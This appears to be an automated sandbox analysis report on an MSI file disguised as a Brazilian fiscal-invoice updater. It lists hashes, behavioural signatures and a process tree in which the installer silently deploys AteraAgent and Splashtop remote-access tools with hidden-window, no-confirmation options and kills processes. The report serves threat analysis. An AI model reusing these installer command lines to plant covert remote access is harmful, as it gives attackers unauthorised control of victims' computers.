Analysis
-
max time kernel
150s -
max time network
151s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
-
submitted
08-11-2024 11:37
General
-
Target
Atualizador_Fiscal_NFe.msi
-
Size
2.9MB
-
MD5
61b54e1bd417282f38e537804fd1d1db
-
SHA1
e74d97884bc23404c5860e5f58b5d57242c9c4bc
-
SHA256
fc706bcf6b6c9c787c723bd168c74ca7ebc228962f78b6f57225b7a45c2dc5e7
-
SHA512
6d6118c470549949a32885a749e38085f619ae64d68b473ec9bcb13007d25606df78ef67072bad46606fc90fe5c89488b52df64c6401656fac4f432e51b4217b
-
SSDEEP
49152:j+1Ypn4N2MGVv1zyIBWGppT9jnMHRjOOozjcqZJN8dUZTwYaH7oqPxMbY+K/tzQz:j+lUlz9FKbsodq0YaH7ZPxMb8tT
Malware Config
Signatures
-
AteraAgent
AteraAgent is a remote monitoring and management tool.
-
Ateraagent family
-
Detects AteraAgent 1 IoCs
-
Blocklisted process makes network request 7 IoCs
-
Drops file in Drivers directory 6 IoCs
-
Downloads MZ/PE file
-
Enumerates connected drives 3 TTPs 46 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
-
Writes to the Master Boot Record (MBR) 1 TTPs 2 IoCs
Bootkits write to the MBR to gain persistence at a level below the operating system.
-
Drops file in System32 directory 64 IoCs
-
Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
-
UPX packed file 13 IoCs
Detects executables packed with UPX/modified UPX open source packer.
-
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Drops file in Program Files directory 64 IoCs
-
Drops file in Windows directory 64 IoCs
-
Executes dropped EXE 61 IoCs
-
Launches sc.exe 5 IoCs
Sc.exe is a Windows utlilty to control services on the system.
-
Loads dropped DLL 64 IoCs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
-
System Location Discovery: System Language Discovery 1 TTPs 60 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
-
System Time Discovery 1 TTPs 4 IoCs
Adversary may gather the system time and/or time zone settings from a local or remote system.
-
Checks SCSI registry key(s) 3 TTPs 64 IoCs
SCSI information is often read in order to detect sandboxing environments.
-
Kills process with taskkill 13 IoCs
-
Modifies data under HKEY_USERS 64 IoCs
-
Modifies registry class 64 IoCs
-
Modifies system certificate store 2 TTPs 8 IoCs
-
Runs net.exe
-
Suspicious behavior: EnumeratesProcesses 64 IoCs
-
Suspicious behavior: LoadsDriver 1 IoCs
-
Suspicious use of AdjustPrivilegeToken 64 IoCs
-
Suspicious use of FindShellTrayWindow 4 IoCs
-
Suspicious use of SetWindowsHookEx 7 IoCs
-
Suspicious use of WriteProcessMemory 64 IoCs
-
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
-
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Windows\system32\msiexec.exemsiexec.exe /I C:\Users\Admin\AppData\Local\Temp\Atualizador_Fiscal_NFe.msi1⤵
- Blocklisted process makes network request
- Enumerates connected drives
- Event Triggered Execution: Installer Packages
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\srtasks.exeC:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:22⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding C66C742C31C6D602B8BB4C66FB7870132⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Windows\Installer\MSID457.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240637281 2 AlphaControlAgentInstallation!AlphaControlAgentInstallation.CustomActions.GenerateAgentId3⤵
- Drops file in Windows directory
- Loads dropped DLL
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Windows\Installer\MSID756.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240637828 6 AlphaControlAgentInstallation!AlphaControlAgentInstallation.CustomActions.ReportMsiStart3⤵
- Blocklisted process makes network request
- Drops file in Windows directory
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Windows\Installer\MSIDDEE.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240639484 10 AlphaControlAgentInstallation!AlphaControlAgentInstallation.CustomActions.ShouldContinueInstallation3⤵
- Drops file in Windows directory
- Loads dropped DLL
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Windows\Installer\MSIEA48.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240642687 32 AlphaControlAgentInstallation!AlphaControlAgentInstallation.CustomActions.ReportMsiEnd3⤵
- Blocklisted process makes network request
- Drops file in Windows directory
- Loads dropped DLL
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 6FB29A9A36F0E317692218C123F563F3 E Global\MSI00002⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\NET.exe"NET" STOP AteraAgent3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 STOP AteraAgent4⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\TaskKill.exe"TaskKill.exe" /f /im AteraAgent.exe3⤵
- System Location Discovery: System Language Discovery
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Program Files (x86)\ATERA Networks\AteraAgent\AteraAgent.exe"C:\Program Files (x86)\ATERA Networks\AteraAgent\AteraAgent.exe" /i /IntegratorLogin="[email protected]" /CompanyId="1" /IntegratorLoginUI="" /CompanyIdUI="" /FolderId="" /AccountId="001Q300000N8afVIAR" /AgentId="d2c47dfb-26c4-4582-a481-08276c897906"2⤵
- Drops file in System32 directory
- Executes dropped EXE
- Modifies data under HKEY_USERS
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 7A8F807451EDD66E0EA5CCE90ABB7BED E Global\MSI00002⤵
- Blocklisted process makes network request
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Modifies registry class
-
C:\Windows\TEMP\{52681194-F830-4D42-9FD3-7E13F8D7809F}\_is1D28.exeC:\Windows\TEMP\{52681194-F830-4D42-9FD3-7E13F8D7809F}\_is1D28.exe {EFB7539B-24F3-46B6-AF6E-3B021B51EFEF}:{0C18DFC1-A884-40E9-8382-AE7091B2F9D0}3⤵
-
-
C:\Windows\TEMP\{52681194-F830-4D42-9FD3-7E13F8D7809F}\_is1D28.exeC:\Windows\TEMP\{52681194-F830-4D42-9FD3-7E13F8D7809F}\_is1D28.exe {EFB7539B-24F3-46B6-AF6E-3B021B51EFEF}:{B9BBD1A8-0BA9-40A0-A94F-E36089602432}3⤵
-
-
C:\Windows\TEMP\{52681194-F830-4D42-9FD3-7E13F8D7809F}\_is1D28.exeC:\Windows\TEMP\{52681194-F830-4D42-9FD3-7E13F8D7809F}\_is1D28.exe {EFB7539B-24F3-46B6-AF6E-3B021B51EFEF}:{C8BC5AE9-176F-4F3E-8431-E63E60562519}3⤵
-
-
C:\Windows\TEMP\{52681194-F830-4D42-9FD3-7E13F8D7809F}\_is1D28.exeC:\Windows\TEMP\{52681194-F830-4D42-9FD3-7E13F8D7809F}\_is1D28.exe {EFB7539B-24F3-46B6-AF6E-3B021B51EFEF}:{527D104E-30E0-42F9-A48E-B57807C2AE8D}3⤵
-
-
C:\Windows\TEMP\{52681194-F830-4D42-9FD3-7E13F8D7809F}\_is1D28.exeC:\Windows\TEMP\{52681194-F830-4D42-9FD3-7E13F8D7809F}\_is1D28.exe {EFB7539B-24F3-46B6-AF6E-3B021B51EFEF}:{30154D7B-2D4E-4429-A9AA-BCD0758D7CBD}3⤵
-
-
C:\Windows\TEMP\{52681194-F830-4D42-9FD3-7E13F8D7809F}\_is1D28.exeC:\Windows\TEMP\{52681194-F830-4D42-9FD3-7E13F8D7809F}\_is1D28.exe {EFB7539B-24F3-46B6-AF6E-3B021B51EFEF}:{12C116C3-5D71-4FCF-8C0C-EA211587B134}3⤵
-
-
C:\Windows\TEMP\{52681194-F830-4D42-9FD3-7E13F8D7809F}\_is1D28.exeC:\Windows\TEMP\{52681194-F830-4D42-9FD3-7E13F8D7809F}\_is1D28.exe {EFB7539B-24F3-46B6-AF6E-3B021B51EFEF}:{22352FE0-BC84-4C11-99AC-8DB6F9FBA3E8}3⤵
-
-
C:\Windows\TEMP\{52681194-F830-4D42-9FD3-7E13F8D7809F}\_is1D28.exeC:\Windows\TEMP\{52681194-F830-4D42-9FD3-7E13F8D7809F}\_is1D28.exe {EFB7539B-24F3-46B6-AF6E-3B021B51EFEF}:{C84DFA5A-6D58-441F-8643-02ABC881F320}3⤵
-
-
C:\Windows\TEMP\{52681194-F830-4D42-9FD3-7E13F8D7809F}\_is1D28.exeC:\Windows\TEMP\{52681194-F830-4D42-9FD3-7E13F8D7809F}\_is1D28.exe {EFB7539B-24F3-46B6-AF6E-3B021B51EFEF}:{C44323AA-CCE8-4349-8111-474118C6565F}3⤵
-
-
C:\Windows\TEMP\{52681194-F830-4D42-9FD3-7E13F8D7809F}\_is1D28.exeC:\Windows\TEMP\{52681194-F830-4D42-9FD3-7E13F8D7809F}\_is1D28.exe {EFB7539B-24F3-46B6-AF6E-3B021B51EFEF}:{FB6F3480-95EA-4AF8-A310-014CE54EC19B}3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\SysWOW64\cmd.exe /C "taskkill.exe /F /IM SRServer.exe /T"3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\taskkill.exetaskkill.exe /F /IM SRServer.exe /T4⤵
- System Location Discovery: System Language Discovery
- Kills process with taskkill
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\SysWOW64\cmd.exe /C "taskkill.exe /F /IM SRApp.exe /T"3⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\taskkill.exetaskkill.exe /F /IM SRApp.exe /T4⤵
- System Location Discovery: System Language Discovery
- Kills process with taskkill
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\SysWOW64\cmd.exe /C "taskkill.exe /F /IM SRAppPB.exe /T"3⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\taskkill.exetaskkill.exe /F /IM SRAppPB.exe /T4⤵
- System Location Discovery: System Language Discovery
- Kills process with taskkill
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\SysWOW64\cmd.exe /C "taskkill.exe /F /IM SRFeature.exe /T"3⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\taskkill.exetaskkill.exe /F /IM SRFeature.exe /T4⤵
- System Location Discovery: System Language Discovery
- Kills process with taskkill
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\SysWOW64\cmd.exe /C "taskkill.exe /F /IM SRFeatMini.exe /T"3⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\taskkill.exetaskkill.exe /F /IM SRFeatMini.exe /T4⤵
- System Location Discovery: System Language Discovery
- Kills process with taskkill
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\SysWOW64\cmd.exe /C "taskkill.exe /F /IM SRManager.exe /T"3⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\taskkill.exetaskkill.exe /F /IM SRManager.exe /T4⤵
- System Location Discovery: System Language Discovery
- Kills process with taskkill
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\SysWOW64\cmd.exe /C "taskkill.exe /F /IM SRAgent.exe /T"3⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\taskkill.exetaskkill.exe /F /IM SRAgent.exe /T4⤵
- System Location Discovery: System Language Discovery
- Kills process with taskkill
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\SysWOW64\cmd.exe /C "taskkill.exe /F /IM SRChat.exe /T"3⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\taskkill.exetaskkill.exe /F /IM SRChat.exe /T4⤵
- System Location Discovery: System Language Discovery
- Kills process with taskkill
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\SysWOW64\cmd.exe /C "taskkill.exe /F /IM SRAudioChat.exe /T"3⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\taskkill.exetaskkill.exe /F /IM SRAudioChat.exe /T4⤵
- System Location Discovery: System Language Discovery
- Kills process with taskkill
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\SysWOW64\cmd.exe /C "taskkill.exe /F /IM SRVirtualDisplay.exe /T"3⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\taskkill.exetaskkill.exe /F /IM SRVirtualDisplay.exe /T4⤵
- System Location Discovery: System Language Discovery
- Kills process with taskkill
-
-
-
C:\Windows\TEMP\{0686AD31-5D31-4C21-892D-B03C5BAE9E16}\_is2DD2.exeC:\Windows\TEMP\{0686AD31-5D31-4C21-892D-B03C5BAE9E16}\_is2DD2.exe {EFB7539B-24F3-46B6-AF6E-3B021B51EFEF}:{19104561-EA7C-4E1A-87F4-AE7C5141F8B3}3⤵
-
-
C:\Windows\TEMP\{0686AD31-5D31-4C21-892D-B03C5BAE9E16}\_is2DD2.exeC:\Windows\TEMP\{0686AD31-5D31-4C21-892D-B03C5BAE9E16}\_is2DD2.exe {EFB7539B-24F3-46B6-AF6E-3B021B51EFEF}:{1D06DBF8-B9DD-4793-A440-3151678EDB54}3⤵
-
-
C:\Windows\TEMP\{0686AD31-5D31-4C21-892D-B03C5BAE9E16}\_is2DD2.exeC:\Windows\TEMP\{0686AD31-5D31-4C21-892D-B03C5BAE9E16}\_is2DD2.exe {EFB7539B-24F3-46B6-AF6E-3B021B51EFEF}:{723495B4-17DC-4122-9F84-6AE928894BAC}3⤵
-
-
C:\Windows\TEMP\{0686AD31-5D31-4C21-892D-B03C5BAE9E16}\_is2DD2.exeC:\Windows\TEMP\{0686AD31-5D31-4C21-892D-B03C5BAE9E16}\_is2DD2.exe {EFB7539B-24F3-46B6-AF6E-3B021B51EFEF}:{85BB78D2-3482-4778-A85F-3D5A2F6F050C}3⤵
-
-
C:\Windows\TEMP\{0686AD31-5D31-4C21-892D-B03C5BAE9E16}\_is2DD2.exeC:\Windows\TEMP\{0686AD31-5D31-4C21-892D-B03C5BAE9E16}\_is2DD2.exe {EFB7539B-24F3-46B6-AF6E-3B021B51EFEF}:{730E9DE7-E32E-4482-8FD1-4D40A528C884}3⤵
-
-
C:\Windows\TEMP\{0686AD31-5D31-4C21-892D-B03C5BAE9E16}\_is2DD2.exeC:\Windows\TEMP\{0686AD31-5D31-4C21-892D-B03C5BAE9E16}\_is2DD2.exe {EFB7539B-24F3-46B6-AF6E-3B021B51EFEF}:{DA74044E-F255-41D3-9A34-2350A02308B1}3⤵
-
-
C:\Windows\TEMP\{0686AD31-5D31-4C21-892D-B03C5BAE9E16}\_is2DD2.exeC:\Windows\TEMP\{0686AD31-5D31-4C21-892D-B03C5BAE9E16}\_is2DD2.exe {EFB7539B-24F3-46B6-AF6E-3B021B51EFEF}:{196774EE-CFB5-4E16-9E2E-47C0E35F3F37}3⤵
-
-
C:\Windows\TEMP\{0686AD31-5D31-4C21-892D-B03C5BAE9E16}\_is2DD2.exeC:\Windows\TEMP\{0686AD31-5D31-4C21-892D-B03C5BAE9E16}\_is2DD2.exe {EFB7539B-24F3-46B6-AF6E-3B021B51EFEF}:{8F209A4D-033A-4225-A541-4EC7D025E8F1}3⤵
-
-
C:\Windows\TEMP\{0686AD31-5D31-4C21-892D-B03C5BAE9E16}\_is2DD2.exeC:\Windows\TEMP\{0686AD31-5D31-4C21-892D-B03C5BAE9E16}\_is2DD2.exe {EFB7539B-24F3-46B6-AF6E-3B021B51EFEF}:{40FA169C-D8AB-4BD6-9ECA-D3C3BA201A3E}3⤵
-
-
C:\Windows\TEMP\{0686AD31-5D31-4C21-892D-B03C5BAE9E16}\_is2DD2.exeC:\Windows\TEMP\{0686AD31-5D31-4C21-892D-B03C5BAE9E16}\_is2DD2.exe {EFB7539B-24F3-46B6-AF6E-3B021B51EFEF}:{CF86CA86-2368-447A-96D8-8FF959A9CFAC}3⤵
-
-
C:\Windows\TEMP\{C6A7E426-78BA-4365-960D-B76DEFB57614}\_is3AD4.exeC:\Windows\TEMP\{C6A7E426-78BA-4365-960D-B76DEFB57614}\_is3AD4.exe {EFB7539B-24F3-46B6-AF6E-3B021B51EFEF}:{755EADF7-F2BD-465E-B224-0D86B2F8D195}3⤵
-
-
C:\Windows\TEMP\{C6A7E426-78BA-4365-960D-B76DEFB57614}\_is3AD4.exeC:\Windows\TEMP\{C6A7E426-78BA-4365-960D-B76DEFB57614}\_is3AD4.exe {EFB7539B-24F3-46B6-AF6E-3B021B51EFEF}:{7AD7A5FF-3488-443B-BEA7-F5F7351D5988}3⤵
-
-
C:\Windows\TEMP\{C6A7E426-78BA-4365-960D-B76DEFB57614}\_is3AD4.exeC:\Windows\TEMP\{C6A7E426-78BA-4365-960D-B76DEFB57614}\_is3AD4.exe {EFB7539B-24F3-46B6-AF6E-3B021B51EFEF}:{D89451C7-3831-4FDF-96CA-5026050E747D}3⤵
-
-
C:\Windows\TEMP\{C6A7E426-78BA-4365-960D-B76DEFB57614}\_is3AD4.exeC:\Windows\TEMP\{C6A7E426-78BA-4365-960D-B76DEFB57614}\_is3AD4.exe {EFB7539B-24F3-46B6-AF6E-3B021B51EFEF}:{C94CD21D-2BA8-420F-89D1-D404ECE7803C}3⤵
-
-
C:\Windows\TEMP\{C6A7E426-78BA-4365-960D-B76DEFB57614}\_is3AD4.exeC:\Windows\TEMP\{C6A7E426-78BA-4365-960D-B76DEFB57614}\_is3AD4.exe {EFB7539B-24F3-46B6-AF6E-3B021B51EFEF}:{8BE2CEF9-A77F-4D6B-A965-2CA3A4359667}3⤵
-
-
C:\Windows\TEMP\{C6A7E426-78BA-4365-960D-B76DEFB57614}\_is3AD4.exeC:\Windows\TEMP\{C6A7E426-78BA-4365-960D-B76DEFB57614}\_is3AD4.exe {EFB7539B-24F3-46B6-AF6E-3B021B51EFEF}:{F9BA102F-F8D0-494F-B2E7-30725BB18941}3⤵
-
-
C:\Windows\TEMP\{C6A7E426-78BA-4365-960D-B76DEFB57614}\_is3AD4.exeC:\Windows\TEMP\{C6A7E426-78BA-4365-960D-B76DEFB57614}\_is3AD4.exe {EFB7539B-24F3-46B6-AF6E-3B021B51EFEF}:{C810C218-B587-4C4D-8710-301475D7FE0F}3⤵
-
-
C:\Windows\TEMP\{C6A7E426-78BA-4365-960D-B76DEFB57614}\_is3AD4.exeC:\Windows\TEMP\{C6A7E426-78BA-4365-960D-B76DEFB57614}\_is3AD4.exe {EFB7539B-24F3-46B6-AF6E-3B021B51EFEF}:{8E34511E-1810-4798-8CD2-3EB3F9390C67}3⤵
-
-
C:\Windows\TEMP\{C6A7E426-78BA-4365-960D-B76DEFB57614}\_is3AD4.exeC:\Windows\TEMP\{C6A7E426-78BA-4365-960D-B76DEFB57614}\_is3AD4.exe {EFB7539B-24F3-46B6-AF6E-3B021B51EFEF}:{5B440BD6-7467-460E-BFBA-9B88EF0BA6A6}3⤵
-
-
C:\Windows\TEMP\{C6A7E426-78BA-4365-960D-B76DEFB57614}\_is3AD4.exeC:\Windows\TEMP\{C6A7E426-78BA-4365-960D-B76DEFB57614}\_is3AD4.exe {EFB7539B-24F3-46B6-AF6E-3B021B51EFEF}:{FBF46AC5-349C-4E9B-9D0B-681C9A5636A5}3⤵
-
-
C:\Program Files (x86)\Splashtop\Splashtop Remote\Server\Support\SetupUtil.exe"C:\Program Files (x86)\Splashtop\Splashtop Remote\Server\Support\SetupUtil.exe" /P ADDUSERINFO /V "sec_opt=0,confirm_d=0,hidewindow=1"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Program Files (x86)\Splashtop\Splashtop Remote\Server\Support\SetupUtil.exe"C:\Program Files (x86)\Splashtop\Splashtop Remote\Server\Support\SetupUtil.exe" /P USERSESSIONID3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Program Files (x86)\Splashtop\Splashtop Remote\Server\Support\SetupUtil.exe"C:\Program Files (x86)\Splashtop\Splashtop Remote\Server\Support\SetupUtil.exe" /P ST_EVENT3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\system32\cmd.exe"C:\Windows\sysnative\cmd.exe" /C "C:\Windows\system32\wevtutil.exe" um "C:\ProgramData\Splashtop\Common\Event\stevt_srs_provider.man"4⤵
-
-
C:\Windows\system32\cmd.exe"C:\Windows\sysnative\cmd.exe" /C "C:\Windows\system32\wevtutil.exe" im "C:\ProgramData\Splashtop\Common\Event\stevt_srs_provider.man"4⤵
-
-
-
C:\Program Files (x86)\Splashtop\Splashtop Remote\Server\SRSelfSignCertUtil.exe"C:\Program Files (x86)\Splashtop\Splashtop Remote\Server\SRSelfSignCertUtil.exe" -g3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\TEMP\{AB0282AB-3D1E-4736-A68D-845C6874F64A}\_is4EBB.exeC:\Windows\TEMP\{AB0282AB-3D1E-4736-A68D-845C6874F64A}\_is4EBB.exe {EFB7539B-24F3-46B6-AF6E-3B021B51EFEF}:{64C5EBEF-04A1-4C34-B751-76E2AF8FAD9C}3⤵
-
-
C:\Windows\TEMP\{AB0282AB-3D1E-4736-A68D-845C6874F64A}\_is4EBB.exeC:\Windows\TEMP\{AB0282AB-3D1E-4736-A68D-845C6874F64A}\_is4EBB.exe {EFB7539B-24F3-46B6-AF6E-3B021B51EFEF}:{25AE94BC-9271-450C-ADFF-6B4B52F08975}3⤵
-
-
C:\Windows\TEMP\{AB0282AB-3D1E-4736-A68D-845C6874F64A}\_is4EBB.exeC:\Windows\TEMP\{AB0282AB-3D1E-4736-A68D-845C6874F64A}\_is4EBB.exe {EFB7539B-24F3-46B6-AF6E-3B021B51EFEF}:{1C58D885-8799-4EB3-A01C-332C4D00EB63}3⤵
-
-
C:\Windows\TEMP\{AB0282AB-3D1E-4736-A68D-845C6874F64A}\_is4EBB.exeC:\Windows\TEMP\{AB0282AB-3D1E-4736-A68D-845C6874F64A}\_is4EBB.exe {EFB7539B-24F3-46B6-AF6E-3B021B51EFEF}:{89C15FBA-A9FB-47FE-9181-5E12622EA943}3⤵
-
-
C:\Windows\TEMP\{AB0282AB-3D1E-4736-A68D-845C6874F64A}\_is4EBB.exeC:\Windows\TEMP\{AB0282AB-3D1E-4736-A68D-845C6874F64A}\_is4EBB.exe {EFB7539B-24F3-46B6-AF6E-3B021B51EFEF}:{993B48E3-B152-4462-A576-A8DD869D0793}3⤵
-
-
C:\Windows\TEMP\{AB0282AB-3D1E-4736-A68D-845C6874F64A}\_is4EBB.exeC:\Windows\TEMP\{AB0282AB-3D1E-4736-A68D-845C6874F64A}\_is4EBB.exe {EFB7539B-24F3-46B6-AF6E-3B021B51EFEF}:{351559ED-92CF-460C-99AD-7A2E3EE27CE3}3⤵
-
-
C:\Windows\TEMP\{AB0282AB-3D1E-4736-A68D-845C6874F64A}\_is4EBB.exeC:\Windows\TEMP\{AB0282AB-3D1E-4736-A68D-845C6874F64A}\_is4EBB.exe {EFB7539B-24F3-46B6-AF6E-3B021B51EFEF}:{E925118E-9296-410E-84A9-53CE8F94C0D0}3⤵
-
-
C:\Windows\TEMP\{AB0282AB-3D1E-4736-A68D-845C6874F64A}\_is4EBB.exeC:\Windows\TEMP\{AB0282AB-3D1E-4736-A68D-845C6874F64A}\_is4EBB.exe {EFB7539B-24F3-46B6-AF6E-3B021B51EFEF}:{5ACF85DF-6125-4B04-8B0A-84B4A2951EAB}3⤵
-
-
C:\Windows\TEMP\{AB0282AB-3D1E-4736-A68D-845C6874F64A}\_is4EBB.exeC:\Windows\TEMP\{AB0282AB-3D1E-4736-A68D-845C6874F64A}\_is4EBB.exe {EFB7539B-24F3-46B6-AF6E-3B021B51EFEF}:{E0EC9146-ACBA-4AB7-B4F2-475F8CE32D01}3⤵
-
-
C:\Windows\TEMP\{AB0282AB-3D1E-4736-A68D-845C6874F64A}\_is4EBB.exeC:\Windows\TEMP\{AB0282AB-3D1E-4736-A68D-845C6874F64A}\_is4EBB.exe {EFB7539B-24F3-46B6-AF6E-3B021B51EFEF}:{E78BD718-5846-4762-9B59-CB32280B534D}3⤵
-
-
C:\Program Files (x86)\Splashtop\Splashtop Remote\Server\SRService.exe"C:\Program Files (x86)\Splashtop\Splashtop Remote\Server\SRService.exe" -i3⤵
- Drops file in Program Files directory
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Modifies registry class
-
-
C:\Windows\TEMP\{90E77B5A-836B-4D24-A5B7-E9BDD27D6817}\_is5321.exeC:\Windows\TEMP\{90E77B5A-836B-4D24-A5B7-E9BDD27D6817}\_is5321.exe {EFB7539B-24F3-46B6-AF6E-3B021B51EFEF}:{35216FBA-A345-4D4A-AB01-E991E0A1C689}3⤵
-
-
C:\Windows\TEMP\{90E77B5A-836B-4D24-A5B7-E9BDD27D6817}\_is5321.exeC:\Windows\TEMP\{90E77B5A-836B-4D24-A5B7-E9BDD27D6817}\_is5321.exe {EFB7539B-24F3-46B6-AF6E-3B021B51EFEF}:{66BADF9B-D52F-4BD1-8188-43A6C20B08C3}3⤵
-
-
C:\Windows\TEMP\{90E77B5A-836B-4D24-A5B7-E9BDD27D6817}\_is5321.exeC:\Windows\TEMP\{90E77B5A-836B-4D24-A5B7-E9BDD27D6817}\_is5321.exe {EFB7539B-24F3-46B6-AF6E-3B021B51EFEF}:{FC6864BE-F2DD-4B6D-B501-5362EDE4FCDD}3⤵
-
-
C:\Windows\TEMP\{90E77B5A-836B-4D24-A5B7-E9BDD27D6817}\_is5321.exeC:\Windows\TEMP\{90E77B5A-836B-4D24-A5B7-E9BDD27D6817}\_is5321.exe {EFB7539B-24F3-46B6-AF6E-3B021B51EFEF}:{9080D293-9036-4BCD-8767-1CFC246EDE20}3⤵
-
-
C:\Windows\TEMP\{90E77B5A-836B-4D24-A5B7-E9BDD27D6817}\_is5321.exeC:\Windows\TEMP\{90E77B5A-836B-4D24-A5B7-E9BDD27D6817}\_is5321.exe {EFB7539B-24F3-46B6-AF6E-3B021B51EFEF}:{EDEB0370-4275-46E0-9613-8273D48B65CE}3⤵
-
-
C:\Windows\TEMP\{90E77B5A-836B-4D24-A5B7-E9BDD27D6817}\_is5321.exeC:\Windows\TEMP\{90E77B5A-836B-4D24-A5B7-E9BDD27D6817}\_is5321.exe {EFB7539B-24F3-46B6-AF6E-3B021B51EFEF}:{82453755-E531-40ED-8183-875CFBDDC01F}3⤵
-
-
C:\Windows\TEMP\{90E77B5A-836B-4D24-A5B7-E9BDD27D6817}\_is5321.exeC:\Windows\TEMP\{90E77B5A-836B-4D24-A5B7-E9BDD27D6817}\_is5321.exe {EFB7539B-24F3-46B6-AF6E-3B021B51EFEF}:{0234346D-4A38-4DE2-8E4E-8394C27E0798}3⤵
-
-
C:\Windows\TEMP\{90E77B5A-836B-4D24-A5B7-E9BDD27D6817}\_is5321.exeC:\Windows\TEMP\{90E77B5A-836B-4D24-A5B7-E9BDD27D6817}\_is5321.exe {EFB7539B-24F3-46B6-AF6E-3B021B51EFEF}:{EE3A20A9-5388-45CA-B7E1-1A55A301B029}3⤵
-
-
C:\Windows\TEMP\{90E77B5A-836B-4D24-A5B7-E9BDD27D6817}\_is5321.exeC:\Windows\TEMP\{90E77B5A-836B-4D24-A5B7-E9BDD27D6817}\_is5321.exe {EFB7539B-24F3-46B6-AF6E-3B021B51EFEF}:{848C6996-A45D-4272-9635-E85203D3E924}3⤵
-
-
C:\Windows\TEMP\{90E77B5A-836B-4D24-A5B7-E9BDD27D6817}\_is5321.exeC:\Windows\TEMP\{90E77B5A-836B-4D24-A5B7-E9BDD27D6817}\_is5321.exe {EFB7539B-24F3-46B6-AF6E-3B021B51EFEF}:{13A0617A-B425-4D65-9E82-BD4CD42CCCAC}3⤵
-
-
C:\Program Files (x86)\Splashtop\Splashtop Remote\Server\SRService.exe"C:\Program Files (x86)\Splashtop\Splashtop Remote\Server\SRService.exe" -r3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding FA4D0B3D9DDC4C56390EE7B82C0D1533 E Global\MSI00002⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
-
